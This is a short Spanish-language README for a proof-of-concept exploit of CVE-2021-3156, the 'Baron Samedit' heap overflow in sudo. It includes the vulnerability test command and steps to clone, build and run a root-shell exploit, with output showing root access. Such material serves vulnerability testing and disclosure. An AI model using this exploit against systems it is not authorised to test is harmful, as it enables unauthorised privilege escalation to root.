
Exploit de prueba de concepto para CVE-2021-3156, un desbordamiento de búfer basado en heap en sudo anterior a 1.9.5p2, que permite la escalada de privilegios a root mediante sudoedit -s.
Sudo anterior a 1.9.5p2 contiene un error de desfase de uno que puede resultar en un desbordamiento de búfer en el heap, lo que permite la escalada de privilegios a root mediante sudoedit -s y un argumento de línea de comandos que termina con un solo carácter de barra invertida.
Créditos: Aviso de Baron Samedit de Qualys
El proyecto sudo publicó un comando que te permite probar si tu versión de sudo es vulnerable:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
Si recibes un mensaje de uso o error, sudo no es vulnerable. Si el resultado es un fallo de segmentación, sudo es vulnerable.
PoC de shell root para CVE-2021-3156 (sin bruteforce) Probado en Ubuntu 20.04 (sudo 1.8.31)
$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root